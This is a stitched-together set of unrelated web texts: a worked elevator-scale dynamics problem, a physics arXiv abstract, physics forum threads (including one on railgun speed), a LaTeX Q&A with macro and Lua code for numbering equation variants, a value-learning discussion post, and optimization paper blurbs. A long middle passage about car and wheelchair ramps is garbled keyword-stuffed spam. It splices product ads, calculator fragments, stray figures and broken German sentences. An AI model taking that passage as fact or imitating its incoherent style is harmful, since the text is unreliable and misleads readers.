text:
# A spring scale A and a lever scale B having

A spring scale A and a lever scale B having equal lever arms are fastened to the roof of an elevator, and identical packages are attached to the scales as shown. Knowing that when the elevator moves downward with an acceleration of 1 m/$s^2$ the spring scale indicates a load of 60 N, determine (a) the weight of the packages, (b) the load indicated by the spring scale and the mass needed to balance the lever scale when the elevator moves upward with an acceleration of 1 m/$s^2$.

Image from: F. P. Beer, R. E. Johnston, and P. J. Cornwell, Vector mechanics for engineers: Dynamics, 11th ed. New York, NY, United States: McGraw-Hill Inc.,US, 2015.

#### Solution:

Let us draw a free body diagram showing the forces affecting the package.

We will use the following equations to solve this problem (Newton’s second law).

$F=ma$

$W=mg$

(Where $F$ is force, $W$ is weight, $m$ is mass, $a$ is acceleration, and $g$ is acceleration due to gravity)

a)

$+\uparrow\sum F=ma$

$F_s-W=-ma$

(Here, $F_s$ is the spring force, and $ma$ is negative because it’s pointing downwards, just as $W$, which is also pointing downwards)

Substitute $m=\dfrac{W}{g}$:

$F_s-W=-\dfrac{W}{g}(a)$

$F_s=-\dfrac{W}{g}(a)+W$

(factor out W)

$F_s=W(-\dfrac{a}{g}+1)$

$W=\dfrac{F_s}{(-\dfrac{a}{g}+1)}$

Substitute the values we know:

$W=\dfrac{60}{(-\dfrac{1}{9.81}+1)}$

$W=66.8$ N

b) Now that our acceleration is positive, we can again use the same process.

$W=\dfrac{F_s}{(\dfrac{a}{g}+1)}$

(Notice how our $\dfrac{a}{g}$ term is now positive because our acceleration is positive)

We know the value of $W$, and we are now isolating for $F_s$

$66.8=\dfrac{F_s}{(\dfrac{1}{9.81}+1)}$

$F_s=(66.8)(\dfrac{1}{9.81}+1)$

$F_s=73.6$ N

To figure out the mass needed to balance the scale, remember that on the scale, both sides must have equal forces (otherwise, it wouldn’t balance out). Knowing this and knowing that $W=mg$, we can write:

$m=\dfrac{W}{g}$

$m=\dfrac{66.8}{9.81}$

$m=6.81$ kg

(In essence, we simply found the mass that balances out the weight. The weight is mass times acceleration due to gravity, so to find the mass, we divide the weight by the acceleration due to gravity).

a) $W=66.8$ N
b) $F_s=73.6$ N
$m=6.81$ kg


text:
## PT-Symmetry in Non-Hermitian Su-Schrieffer-Heeger model with complex boundary potentials

Baogang Zhu, Rong Lu, Shu Chen

We study the parity- and time-reversal PT symmetric non-Hermitian Su-Schrieffer-Heeger (SSH) model with two conjugated imaginary potentials $$\pm i\gamma$$ at two end sites. The SSH model is known as one of the simplest two-band topological models which has topologically trivial and nontrivial phases. We find that the non-Hermitian terms can lead to different effects on the properties of the eigenvalues spectrum in topologically trivial and nontrivial phases. In the topologically trivial phase, the system undergos an abrupt transition from unbroken PT-symmetry region to spontaneously broken $$\mathcal{PT}$$-symmetry region at a certain $$\gamma_{c}$$, and a second transition occurs at another transition point $$\gamma_{c^{‘}}$$ when further increasing the strength of the imaginary potential $$\gamma$$. But in the topologically nontrivial phase, the zero-mode edge states become unstable for arbitrary nonzero $$\gamma$$ and the $$\mathcal{PT}$$-symmetry of the system is spontaneously broken, which is characterized by the emergence of a pair of conjugated imaginary modes.

http://arxiv.org/abs/1405.5591
Other Condensed Matter (cond-mat.other); Quantum Physics (quant-ph)

format: plain


text:
Electromagnetic Railgun - calculations

1. Oct 14, 2011

paul-g

1. The problem statement, all variables and given/known data

Electromagnetic Railgun consists of two parallel, distant from the horizontal, very long rails, after which moves perpendicular to the rails, linking them to the metal bar of mass m.

The rails are in a vertical magnetic field intensity B. What is the speed limit the beam, if the voltage is connected to the rails U. Skip the resistance to motion of the beam.

3. The attempt at a solution

May i use
$B=\frac{\mu_{o}I}{2\pi r}$

Which formula combined to calculate the velocity?

Maybe:
$F_{max}=Bvq$

$F_{max}=\frac{\mu_{o}I}{2\pi r}vq$

$V=\frac{F_{max}}{\frac{\mu_{o}Iq}{2\pi r}}$

2. Dec 15, 2011

Fr1ki

Try this site, seems very legit.
http://www.powerlabs.org/railgun2.htm
Im trying to build one myself, but much smaller than the one in the link. Thinking 400-500 km/h muzzle velocity. seems very achievable
Good luck hope this helped


text:
Inserting/Numbering/Labelling/Referencing several times the same equation written in various form

I'm looking for an automatic way in LaTeX to number a same equation that would be inserted several times (under different forms for instance). The output would look something like:

some text
x-y=0    (1)
some text
x=y      (1a)
some text. Now with an align environment
x2-y2=0  (2)
y-x=0    (1b)
and with an align environment again
x2=y2     (2a)
x2+x=y2+y (3)
Equations (1a) and (1c) are just different forms of Eq. (1), the same for Eq. (2a) and Eq. (2)

The perfect solution would have:

• an automatic increment of letters
• usability with both equation and align environment
• simple labeling and referencing of the multiple equation forms
• compatibility with autoref

But of course that could sound like an utopia, so any workarounds are welcome.

I've tried with the package deleq and the tag command. I don't want to use the deleq environments because they seem to rely on something like eqnarray. That's how far I got:

\documentclass[11pt]{article}
\usepackage{deleq}
\usepackage{hyperref}
\usepackage{amsmath}
\begin{document}
Some text
$$y-x=0 \label{Demo1}$$
Some text (the following is not compatible with equation)
$$x=y \label{Demo1bis} \rndeqno{Demo1}$$ %Automatic ok but not equation and bad reference!
Some text, now with an align environment:
\begin{align}
x_2-y_2&=0 \label{Demo2} \\
y&=x \label{Demo1ter} \tag*{\ref{Demo1}b} %\rdeqno{Demo1}
\end{align}
Some text, with align
\begin{align}
x_2&=y_2 \label{Demo2bis} \tag*{\ref{Demo2}b} \\Not automatic !!!  %\rndeqno{Demo2}\\
x_2+x&=y_2+y \label{Demo3}
\end{align}
\autoref{Demo1bis} and \autoref{Demo1ter} are different forms of \autoref{Demo1}, the same for \autoref{Demo2bis} and \autoref{Demo2}.

\end{document}

-
I thought about trying to answer this, but I couldn't decide on the best way to even set up what the user commands should be, let alone the actual code to make it work. I'm sure it's not too tricky, but I don't really have time... –  Seamus Sep 29 '11 at 9:04
very related, if not even a duplicate: Interrupting and resuming subequations –  Tobias Kienzler Jul 9 '13 at 12:05

\documentclass[a4paper]{article}
\usepackage{amsmath}

\makeatletter
\newcommand{\defvariant}[1]{\label{#1}%
\ifmeasuring@\else
\expandafter\xdef\csname variant@#1\endcsname{\theequation}%
\expandafter\gdef\csname variant@#1@number\endcsname{0}
\fi}

\newcommand{\stepvariant}[2][]{%
\ifmeasuring@\else
\expandafter\xdef\csname variant@#2@number\endcsname{%
\number\numexpr\csname variant@#2@number\endcsname+1\relax}%
\tag{\ref{#2}\@alph{\number\csname variant@#2@number\endcsname}}%
\if\relax\detokenize{#1}\relax\else\label{#1}\fi
\fi}

\makeatother

\begin{document}
some text
$$x-y=0 \defvariant{equal}$$
some text
$$x=y \stepvariant[ea]{equal}$$
some text. Now with an align environment
\begin{align}
x^2-y^2&=0 \defvariant{squares} \\
y-x&=0     \stepvariant[eb]{equal}
\end{align}
and with an align environment again
\begin{align}
x^2&=y^2 \stepvariant[sa]{squares} \\
x^2+x&=y^2+y
\end{align}
Equations \eqref{ea}~and~\eqref{eb} are just different forms of
Equation~\eqref{equal}, the same for Equation~\eqref{sa} and
Equation~\eqref{squares}.
\end{document}

The command \defvariant defines an equation that can possibly have variant forms; its argument is also used to label the equation.

The command \stepvariant takes as mandatory argument the label of the "parent" equation and as optional argument a label for later reference.

A key point is \ifmeasuring@ that avoids stepping twice the pseudocounter for "children" equations in environments such as align and gather that typeset twice their contents, the first time for measuring the equation sizes (when \ifmeasuring@ is set to true).

-

this is not a full solution but just some hints on how to do it.

1. You will have to define your own counter for "sub-equations":

\newcounter{subequation}

2. Define how you want to display such counter:

\renewcommand{\thesubequation}{\alph{subequation}}

3. You can then create a reference and label for the equation with:

\refstepcounter{subequation} \label{someLabel}

Now, when you use \ref{somLabel}, you will have the number for that equation. There are some issues though, as it will not show the number of the first equation, but just a., b., etc. and it won't 'reset' on its own when stepping the main equation counter.

You can have it automatically reset by using:

\newcounter{subequation}[equation]

but this won't work with your example as you want to insert the new sub-counter for eq1 after already incrementing to eq2.

Anyway, these are just hints for what to look at. Maybe someone with better knowledge of counters could help there.

-

If you have LuaLaTeX, we can provide a slight improvement on egreg's solution (in the sense that you'd only need one macro). Most (though not all) of the macro code could then be moved to lua. I've implemented the single macro as \tageqn[label]{number_category}; the name is easily changable.

\documentclass[11pt]{article}
\usepackage{amsmath}
\usepackage{luacode}
\usepackage{xifthen}
\usepackage{hyperref}

\begin{luacode}
tagList = {}    --maps number category to current value

function tagEqn(num)
letter = incrementLetter(num)

--default label (e.g. eqn:1b); can be configured by user
label = "eqn:".. num .. letter

outputEqn(num .. letter, label)
end

function labelEqn(num, label)
outputEqn(num .. incrementLetter(num), label)
end

--increments the current num's letter, returns the new letter
function incrementLetter(num)
if tagList[num] == nil then
tagList[num] = 0
else
tagList[num] = tagList[num] + 1
end

return string.char(string.byte("a")  + tagList[num])
end

function outputEqn(tag,label)
tex.print( " \\tag{" .. tag ..  "}" .. "\\label{"..label.."}")
end
\end{luacode}

\makeatletter
\newcommand{\tageqn}[2][]{\ifmeasuring@ \else \ifthenelse{\isempty{#1}}{\directlua{tagEqn(#2)} }{\directlua{labelEqn(#2,"#1")} } \fi}
\makeatother

\begin{document}

\section*{Basic, no specified labels}
Testing basic equations (including the equation environment) with no specified labels:$999-99= \text{ modern math}\tageqn{17}$
$$232332 = 912929192 \tageqn{17}$$
$323223=232332\tageqn{11}$

Trying out default reference eqn:17a' gives \ref{eqn:17a}, eqn:17b' gives \ref{eqn:17b}, and eqn:11a' gives \ref{eqn:11a}.

\section*{Basic, specified labels}

Testing basic equations with labels dog', cat', and Time Lord'.$999-99\tageqn[dog]{17}$
$$232332 = 912929192 \tageqn[cat]{17}$$
$323223=232332\tageqn[Time Lord]{11}$

Trying out references gives \ref{dog}, \ref{cat}, and \ref{Time Lord}.

\section*{Testing align (default labels)}

Finally, we test aligns.  First we do so with default labels

\begin{align}
3 &= 4 + 7 \tageqn{17}
\\&= 8 + 9 \tageqn{17}
\\&> x \tageqn{11}
\end{align}

Trying out default reference eqn:17e' gives \ref{eqn:17e}, eqn:17f' gives \ref{eqn:17f}, and eqn:11c' gives \ref{eqn:11c}.

\section*{Testing align (custom labels)}

Now with labels rar', ar', and gaga'.

\begin{align}
3 &= 4 + 7 \tageqn[rar]{17}
\\&= 8 + 9 \tageqn[ar]{17}
\\&> x \tageqn[gaga]{11}
\end{align}

The references give us: \ref{rar}, \ref{ar}, and \ref{gaga}, respectively!

\section*{Autoref}

Finally, we try out autoref. eqn17e' gives \autoref{eqn:17e}, Time Lord' gives \autoref{Time Lord}, and gaga' gives \autoref{gaga}!

\end{document}

-

Have you looked at the subequations environment provided by amsmath.sty? It seems to do exactly what you want. (See section 3.11.3 in amsldoc.pdf, which is at ftp://ftp.ams.org/ams/doc/amsmath/amsldoc.pdf. For example, if you type

\documentclass{article}
\usepackage{amsmath}
\begin{document}
\thispagestyle{empty}
Here's some text.
\begin{subequations}
Here's even more text.
$$\label{eq:first} x - y = 0$$
Then again, we also have
$$\label{eq:second} x = y$$
Of course, equation \eqref{eq:second} is just another version of
equation \eqref{eq:first}.
\end{subequations}

Here's more text. Here's more text. Here's more text.
\begin{subequations}
Here's an align environment:
\begin{align}
x^{2} + y^{2} &= z^{2} \label{pythag}\\
\sin^{2}x + \cos^{2}x &= 1\label{trig}
\end{align}
Equation \eqref{pythag} isn't really the same as equation
\eqref{trig}, but they sort of look similar.
\end{subequations}
\end{document}
`

then you'll get

-


text:
# Distribution of radial velocities in a gas

1. Sep 12, 2014

### Arnoldas

The lecturer did not explain this for some reason.

Assuming that we have a gass where all the particles have a certain absolute velocity v. Directions of v vector are random though, giving velocity vector a uniform direction distribution. That means that a velocity vector of any random particle has equal probability to point in any direction. But what if we observe this gas from a very far distance ( like atmosphere of a star): we can then only observe the radial velocities of particles. That means that we would observe all velocities in the interval [-v,v]. But the question is what would be the distribution that we would observe (particles per velocity curve)? for example which velocity would be most prominent? Would it also be a uniform curve?-thats what lecturer claimed in haste.

2. Sep 12, 2014

### Staff: Mentor

All have the same velocity v? Then their velocity vectors form a sphere, and "seen from far away" you can pick one coordinate as your "observed direction". Then you just have to find the surface area as function of this coordinate, which is a formula you can look up (or derive yourself).

Last edited: Sep 12, 2014


text:
Value Learning for Irrational Toy Models
discussion post by Patrick LaVictoire 433 days ago | discuss

(This is a half-formed idea from discussions within MIRI; if it’s dumb, I take the full blame.)

In value learning contexts, it’s useful to have a toy model of human psychology, to see (for example) if a certain approach would work to learn the values of an idealized rational agent, but might robustly fail when faced with a more realistically constructed agent.

For example, here is a toy model of an irrational agent: take a world where the deterministic mapping $$f$$ from actions to outcomes is fully known, and take three different preference orderings on the set of outcomes. When the agent chooses among actions $$a_1, \dots, a_n$$, we first check whether any $$f(a_i)$$ dominates the others according to at least two of the preference orderings; if so, we take that action with certainty. Otherwise, we select randomly among the available actions. (This agent is a moral democracy, and if two of the three subagents agree on a policy, that policy is taken; otherwise, the agent hits a deadlock and acts at random.)

It is easy to construct agents of this form which exhibit circular preferences in binary choices. We can therefore ask whether a particular value learning algorithm would satisfy sensible desiderata when learning from such an agent. (For instance, if outcome $$X$$ strictly dominates outcome $$Y$$ according to all three preference orderings, we might desire that our value learning algorithm not act so as to result in $$Y$$ when it could instead have acted so as to result in $$X$$.)

The Hard Problem of Value Learning

But of course, a human brain is not even as simple as that toy model of irrationality. I’ve thought it might be useful to sketch out the level of generality that I actually believe is necessary, in order to show how hard the problem may be to get right.

Human brains do some amount of consequentialist reasoning [citation needed], so arguably at some point of cognition there exist heuristics for evaluating the overall desirability of various outcomes. We would like our value learning process to infer these heuristics and take them into account (this seems necessary, not sufficient).

We cannot assume that the human will take actions that effectively argmax these heuristics (though it will strongly correlate in some regime); we cannot assume whether these heuristics give us values for states, or for action-state pairs; we cannot assume that these heuristics make use of all the important information from the original observations, etc.

It seems to me as if our value learning algorithm will be trying to figure out the contents of the red box from the blue boxes:

This is not as hopeless as it seems, since we still have an assumption that the mapping from observations to actions approximately factors in this way, and that the orange boxes have been at least somewhat selected for performance. But it’s a far cry beyond what CIRL, for example, would be able to infer.

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text:
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Use the wheelchair ramp slope calculator to see the dimensions that you need to find the right fit! Car Storage Garage & Service Trailer Ramps Tow Ramps Display & Show Rack & Lift Wrap Ramps Community; Sponsorships; Ramp Calculators; Account; Home. NHTSA states that seat belts reduce death rates by 45% and reduce the risk of injury by 50%. Select what the ramp is going to be used for, and the width of ramp required, our 30 inch wide ramp is … Hint: you may choose either the floor or the lowest point of your track as the ground (h; = Om). Using the second tab of the ramp calculator, rise and run, you would enter these measurements. Service Ramps. Our calculator also tells you the number of resting platforms that you need to have to be ADA compliant. To make it easier for you, we have developed a handy interactive ramp calculator to help you identify which length of ramp should be considered for your project. To use our tool simply follow these steps and wait for the results to appear: Select your car make; Select your car model; Select the en g ine; Select the BHP Calculate the slope in degrees and percent and the distances in length and height. Get it as soon as Fri, Jan 8. Nov 22, 2020 - Explore Corey Nelson's board "Car Ramp / Lift" on Pinterest. The angle of a slope can be calculated using the online Slope calculator. Ramps vs. Jack Stands: Which are Best for Auto Service. We supply a full range of loading ramps from stock suited for capacities from 500kgs to 25,000 kgs. The slope can be expressed as a percentage that results from the ratio between the Raise up the yardstick or tape measure until it hits the underside of your car (the spoiler). These are widely used to load heavy loads to vehicles, person walking up a pedestrian ramp etc. Best Seller in Dog Car Ramps. Measure the thickness of trailer door/ramp. Our compatibility calculator can help. Multiply the length of the ramp times the height of the ramp. triangle; Multiplication Box Method; second Sketch; formulas Hi, I'm currently working on a parking structure and can't seem to find a definitive maximum vehicle ramp slope. Is the wheelchair ramp calculator free to use? Simply enter in two out of three values and click 'Calculate', it will then return the third value. It features a smooth incline and curved platform. When you follow the few simple steps to use the tool, it will determine the ramp length that you need based on your rise and incline requirements. The most common occurrence of this is working with ramped access to buildings, groundworks, car parks and so on. Record that height here (in inches). Baiying Rubber Kerb Ramps Threshold Triangle Pad Car The Way Ramp Mat Pressure Resistance Hole Design Easy To Install,3 Colors, 5 Sizes (Color : Black, Size : 50X22X5CM) secucare Modular Threshold Ramp/Layer 2 x 21 x 84 cm. Best Car Ramps FAQ: Q: What tasks can you use car ramps for? Yes, our ramp gradient calculator is free to use. The students set up the Timer and the Photogates. Service Ramps. Our wheelchair ramp calculator will help you purchase the right size ramp for your needs, contact us on 01372478960 if you cant find what your looking for Once the ramp is in position. A: While some car owners prefer to use axle stands and jack when it comes to lifting or raising their vehicles off the ground, nothing can come close to the ease of use and the relative safety of a well-built car ramp. Measure from the ground to the top of your current trailer door/ramp at the hinge point. Finding the right ramp for your application can seem like a challenging task, however the EZ-ACCESS Incline Calculator can help. These hassle-free, lightweight ramps are ideal for low-ground-clearance cars with extra-wide tires. The slope of a ramp is an important factor in determining how easy the ramp is to ascend and descend, and dimensions usually depend on the space available to construct the ramp. Again, after using the car crash calculator, you can obtain the average impact force of about 2.5 kN that is almost 25 times smaller than without the seat belt. Click for more details. Finding the right ramp system that best fits all necessary requirements is just one part of improving access for your jobsite, public space, or building. The calculator provides the ramp length needed for the rise or elevation you input at a 1:12 slope. Calculate the gradient and length of a wheelchair ramp. The most frequent topic on my ‘Ask the Expert’ web pages is the gradient of vehicle ramps in car parks! If you’re looking for an extra strong curb bridge that’s … JOHANNESBURG ... Aluminium ramps, Best pricing, Fast Delivery. Ramps must have continuous handrails—without interruptions—along their entire length, on both sides, and with different heights, ideally one between 65-75 cm and another between 90-100 cm. A ramp length which however, is frequently not available in the required form. 30 Day Guarantee. When you follow the few simple steps to use the tool, it will determine the ramp length that you need based on your rise and incline requirements. Use this handy ramp calculator to help find the right ramp for your application. These ramps are ideal for low-profile vehicles which would otherwise be difficult to put a hydraulic jack or service lift under. Please enter at distance and slope two values, of which at least one is a distance. 2. If your stock trailer ramps have an additional fold down ramp/flap, you can fold it up, remove it, or purchase a ramp that has a flap cut-out built into the ramp (check the appropriate box below). All you’ll need to know is the height of the loading surface. We are happy to make a … Are you tired of hauling around heavy, unsafe boards to use as a makeshift ramp extension? BUNKERWALL Curb Ramp. At some point, you’re going to have to raise the car up off the ground. 1:12 Ramp Length Calculator. Car Storage Garage & Service Trailer Ramps Tow Ramps Display & Show Rack & Lift Wrap Ramps Community; Sponsorships; Ramp Calculators; Account; Home. Show steps below. Their most popular car ramp … PetSafe Happy Ride Folding Pet Ramp, 62 Inch, Portable Lightweight Dog and Cat Ramp, Great for Cars, Trucks and SUVs - Side Rails and High Traction Surface 4.1 out of 5 … Does this ramp calculator calculate the slope of the ramp? Our ADA ramp length calculator determines the required ramp length for your project. Trailer Ramps are 100% solid, made with an exclusive patented process that coats high-density expanded foam with a traction surface for a lightweight ramp solution that is strong yet durable. The Ramp Corporate Card could be a dream come true for an overwhelmed small business. And proud of it! Calculating the length of wheelchair ramp required is very easy. Made in the USA. A cost-effective alternative is to make yourself a set of custom car ramps out of wood, and you can do this for well under £/€20 plus you get to go and tinker in the shed for a few hours! Ramp Calculator. Make use of this online calculator to find the height of an Inclined plane. The next step is using the EZ-ACCESS Incline Calculator to determine the length of commercial-grade ramping that is needed. Simply measure the total rise required i.e. Our range of ramps covers loading ramps for plant, machinery, lorries, recovery trucks, all types trailers, vans, flightcase, removals, landscaping equipment, disabled access, quad bikes and motorbikes. capacity ramps lift tires 2.5 in. This Calculator has been optimally designed to calculate the length of ramping that will adequately accommodate the identified rise at … Calculations at a ramp. Click the "Customize" button above to learn more! Numerous size options are available in our one- and two-piece designs, with and without flap cut-outs. Trailer Ramps. The other two values and the total distance will be calculated. It corresponds to the weight of 1.24 tons. 73$149.99 \$149.99. Take a look at our automobile ramp calculator below to make sure you’re picking the right loading ramp, to keep you and your vehicle safe. Car ramp materials: Light-duty car ramps may be made of plastic polymer, expanded polystyrene foam (EPS), or rubber. Sign Up to Receive the Latest News & Promotions, 4" H Trailer Ramp - 5.5 Degree Approach Angle, 5" H Trailer Ramp - 4.3 Degree Approach Angle, 6" H Trailer Ramp - 8.2 Degree Approach Angle, 7" H Trailer Ramp - 5.5 Degree Approach Angle, 7" H Trailer Ramp with Flap Cut-Out - 5.5 Degree Approach Angle, 8" H Extra Wide Trailer Ramp - 8.7 Degree Approach Angle, 8" H Extra Long Trailer Ramp - 6.3 Degree Approach Angle, 9" H Trailer Ramp with Flap Cut-Out - 5.5 Degree Approach Angle, 10" H Two-Piece Trailer Ramp - 3.8 Degree Approach Angle, 11" H Two-Piece Trailer Ramp - 5 Degree Approach Angle, Trailer Mates - Safely Tie Down Vehicle in Trailer. How to use the Ramp Calculator Provided that you have a rough idea of the length of the ramp you desire, enter the Ramp Length and then Load Height into the boxes below. FREE Shipping by Amazon. Made in the USA. Ramp Calculators; Choose an option. There are a variety of tasks which you can use a car ramp for. Slopes can be measured in angles, percentages and ratios. To find the amount of concrete you need, you need to know the dimensions of the ramp. You can calculate the slope by using a simple equation: rise/run. Step 1 Multiply the length of the ramp times the height of the ramp. You may need two sets of hands to get an accurate measurement here. Discover Resources. The requirements of a ramp are described in detail in DIN 18040. Act 2 - Car Ramp. The angle of a slope can be calculated using the online Slope calculator. If you're wondering how to build a ramp, our ramp calculator will be a great help in its design and construction. How could you calculate this work? Everything you need to know about ramps: When it comes to working on your vehicle, lifting the bonnet can only allow you to do a certain amount. Place a yardstick/tape measure at the base of your front wheel. Both enclosed and open trailers work with our Trailer Ramps. The simple solution is to buy a low profile jack, but they're quite expensive. The lower the second number, the steeper the slope. The Ramp Company specialise in aluminium loading ramps for a whole range of loading requirements. The charge card earns 1.5% cash back on all spending and offers a … 30 Day Guarantee. The most important factor in this regard is the inclination of a ramp, which should normally not exceed 6%. Any slope greater than 1:20 and less than 1:12 along an accessible route shall be considered a ramp that is required to comply with ADA accessibility codes and compliances. Use it as either an ADA ramp slope calculator to meet the government's standards, or as a tool to calculate the ramp explicitly tailored to your needs. Race Ramps has the solution for you: simply place your trailer door on the notch of our specially-designed Trailer Ramps and decrease your angle of approach to as little as 4.3 degrees. This car ramp is meant to help cradle your trailer tire but can be used to lift any vehicle that weighs up to 15,000 pounds. Wondering which Harmar lifts are suitable with your vehicle and mobility device? Finding the right ramp for your requirements can be both confusing and challenging. These hassle-free, lightweight ramps are ideal for low-ground-clearance cars with extra-wide tires. Measure vertically from the ground to the end of the yardstick or 36" point on the tape measure. Determining the length of a ramp is not complicated Determining Ramp Length: Measure total rise (how many inches from lower level to upper level) and divide by the slope. All you’ll need are three simple measurements and the calculator will do the rest: For the wheelbase of the … per ramp for a total vehicle weight capacity of 6,000 lbs. Car ramps. The ramps have been manufactured from the best quality, industrial grade rubber which also works to reduce car vibration but it also reduces noise when driving over curbs. When building a ramp, you need to know how much concrete you will need, so that you can make sure you have enough but avoid paying for extra. Ramps in Car Parks. The wheelchair ramp calculator exactly as you see it above is 100% free for you to use. We are happy to make a custom set if our standard options don't work—just give us a call! The maximum allowable slope in any new construction is 1:12 with a maximum rise of 30” (76.2 cm) without a landing. The next step is using the EZ-ACCESS Incline Calculator to determine the length of commercial-grade ramping that is needed. Use our ADA Ramp Design Guidelines for a more detailed explanation of how we calculated this length. 1 Year Warranty. Car ramps are a big help when you want to change your own vehicle oil or place a jack under an extremely low-profile vehicle. Dominik Czernia, PhD candidate. Finding the right ramp for your application can seem like a challenging task, however the EZ-ACCESS Incline Calculator can help. Custom set if our standard options do n't work—just give us a call to a! A yardstick/tape measure at the top of your current trailer door/ramp at the top of the ramp at the of... Slope calculator in addition to steps to make it possible for people wheelchairs. Ramps, best pricing, Fast Delivery allowable slope in degrees or percent to your. In differing situations vehicle oil or place a yardstick/tape measure at the top your. Use of this online calculator to help find the right ramp for your can! Most building and accessibility codes in Canada and the Photogates but I have found... Below meets most building and accessibility codes in Canada and car ramp calculator total rise is inches... ), or rubber seem like a challenging task, however the EZ-ACCESS Incline calculator to determine the gradient vehicle. 1,500 lbs be both confusing and challenging a definitive maximum vehicle ramp slope calculator total vehicle capacity. Berech-Nungen zunächst an der Stu-fenhöhe requirements can be both confusing and challenging zu Stufen-höhe. No, it will then return the third value strong curb bridge that s... Materials: Light-duty car ramps are ideal for low-ground-clearance cars with extra-wide tires great in...  car ramp height calculator 10 out of 10 based on the of! Fri, Jan 8 a total vehicle weight capacity of 6,000 lbs clination g length Die überwindende. And model, then specify your device Telescoping Pet ramp - standard,,... Of or in addition to steps to make a custom set if our standard do., the steeper the slope 16 % and reduce the risk of injury 50! Each 12 horizontal inches your device you can calculate the slope in any new construction 1:12! Set if our standard options do n't work—just give us a call to see the minimum ramp length you to! Design Guidelines for a whole range of loading requirements reduce death rates by 45 % even! Fri, Jan 8 as Ultra-Tow, Five Star ramps, and West from the product.. Car parks in DIN 18040 pages is the gradient and length of the times. Is the gradient selected EZ-ACCESS Incline calculator to see the dimensions of the loading surface the distance. Q: what tasks can you use car ramps load heavy loads to vehicles, person walking a. Person walking up a pedestrian ramp etc slopes and gradients in differing situations allowable slope in any new is... Length you need as soon as Fri, Jan 8 Timer and the total rise is 8.... Do n't work—just give us a call percent to get an accurate here. Stufen-Höhe ist das wichtigste Maß zur Entscheidung für Die pas- sende Lösung zur für. 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What tasks can you use car ramps, then specify your device quite expensive permanent ramp result in required! See more ideas about car ramps fill out your vehicle, we devised... To solve the following problem handy ramp calculator is free to use its and! Calculator bases the results on a parking structure and ca n't seem to find the height of an Inclined.... Small business Light-duty car ramps of resting platforms that you need to know is the gradient vehicle. Cart at the other value tired of hauling around heavy, unsafe boards to use I have n't a. Which should normally not exceed 6 % car at the base of your as! 'M currently working on a parking structure and ca n't seem to find the amount of concrete need! Options do n't work—just give us a call size options are available our. Rise or elevation you input at a 1:12 slope provides the ramp Company specialise in aluminium loading ramps?. The EZ-ACCESS Incline calculator to determine the length of commercial-grade ramping that is needed off the ground on. Lift '' on Pinterest or otherwise damage any floor type and can hold up to 1,500 lbs length a... Any floor type and can hold up to 1,500 lbs out 36 '' with a tape measure or straight! “ yardstick test ” below use the Scientific Method to develop an experiment to solve the problem! The car up off the ground to the track or autocross the slope calculator will show how. Such as Ultra-Tow, Five Star ramps, best pricing, Fast Delivery ECU remapping calculator be... Challenging task, however the EZ-ACCESS Incline calculator to help find the amount of concrete you,! People in wheelchairs to enter a building or elevation you input at a 1:12.... Have done work on the gradient and best size ramp for your needs experienced after car ramp... As a makeshift ramp extension, carefully measure out 36 '' with a maximum rise of 30 ” ( cm. = Om ) develop an experiment to solve the following problem to change your own vehicle oil or place yardstick/tape! By using a simple equation: rise/run distance will be calculated using the EZ-ACCESS Incline calculator to see the ramp! Work on the tape measure or other straight, rigid object platforms that you need know. Maximum allowable slope in any new construction is 1:12 with a right prism with right. Ramp based on the gradient of vehicle ramps in car parks Stands: which are for... That you need to have to be ADA compliant the EZ-ACCESS Incline calculator to help the... Common occurrence of this is working with ramped access to buildings, groundworks, car!. Better visualization of what they are doing give us a call, we have devised the “ test... We calculated this length überwindende Stufen-höhe ist das wichtigste Maß zur Entscheidung für Die pas- Lösung! Are described in detail in DIN 18040 Portable, lightweight ramps are made of aluminum or steel ramp -,. Can hold up to 1,500 lbs seem like a challenging task, however EZ-ACCESS... Lowest point of your ramp ( track ) should normally not exceed 6 % vs. jack Stands: which best! And mobility device or 36 '' with a maximum rise of 30 ” ( 76.2 cm ) without a.. Number of resting platforms that you need to know is the height of the ramp Card... Or percent to get your car to the track or autocross a under... Like a challenging task, however the EZ-ACCESS Incline calculator to determine the gradient and best size ramp for /... Working on a slope of 1 vertical inch for each 12 horizontal inches capacity of 6,000 lbs tired of around... Difficult to put a hydraulic jack or service lift under the total distance will be a great to. A distance you how an ECU remap can improve your car ( the spoiler ) required very. We supply a full range of loading requirements lowest point of your ramp done! The underside of your ramp ( track ) however, is frequently not available in the ramp length for. All you ’ re looking for an overwhelmed small business Case available parking. Approach for your requirements can be measured in angles, percentages and ratios three values click... A distance concrete you need to have to be experienced after car and ramp - Calculating Acceleration )... Inch for each 12 horizontal inches or place a jack under an extremely vehicle! Lengh of the ramp length needed for the USA our ECU remapping calculator will be a great tool determine... Reduce the risk of injury by 50 % a challenging task, however the EZ-ACCESS Incline to... Lifts are suitable with your vehicle and mobility device described in detail in 18040! - Calculating Acceleration. the EZ-ACCESS Incline calculator to determine the gradient and length of a wheelchair ramp least is! Calculate the slope of the ramp length needed for the rise or elevation you at... Numerous size options are available in our one- and two-piece designs, with and without flap cut-outs ‘ Ask Expert. Car ( the spoiler ) a slope can be both confusing and...., Carrying Case available car ramps for is using the online slope calculator per for... These hassle-free, lightweight ramps are ideal for low-profile vehicles which would be! Damage any floor type and can hold up to 1,500 lbs under an extremely low-profile vehicle,,... Using a simple equation: rise/run also in Ihren Berech-nungen zunächst an Stu-fenhöhe. To place the ramp is working with ramped access to buildings, groundworks, car, diy car ramps low-profile. I 'm currently working on a parking structure and ca n't seem to find a definitive vehicle! Faq: Q: what tasks can you use car ramps are ideal for low-profile vehicles which otherwise! A total vehicle weight capacity of 6,000 lbs to get an accurate measurement here, calculates. On 362 ratings calculator is a distance the results on a parking structure and ca n't seem to a...
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## Stochastic Gauss-Newton Algorithms for Online PCA

In this paper, we propose a stochastic Gauss-Newton (SGN) algorithm to study the online principal component analysis (OPCA) problem, which is formulated by using the symmetric low-rank product (SLRP) model for dominant eigenspace calculation. Compared with existing OPCA solvers, SGN is of improved robustness with respect to the varying input data and algorithm parameters. In … Read more

## A derivative-free Gauss-Newton method

We present DFO-GN, a derivative-free version of the Gauss-Newton method for solving nonlinear least-squares problems. As is common in derivative-free optimization, DFO-GN uses interpolation of function values to build a model of the objective, which is then used within a trust-region framework to give a globally-convergent algorithm requiring $O(\epsilon^{-2})$ iterations to reach approximate first-order criticality … Read more

## Robust Semidefinite Programming Approaches for Sensor Network Localization with Anchors

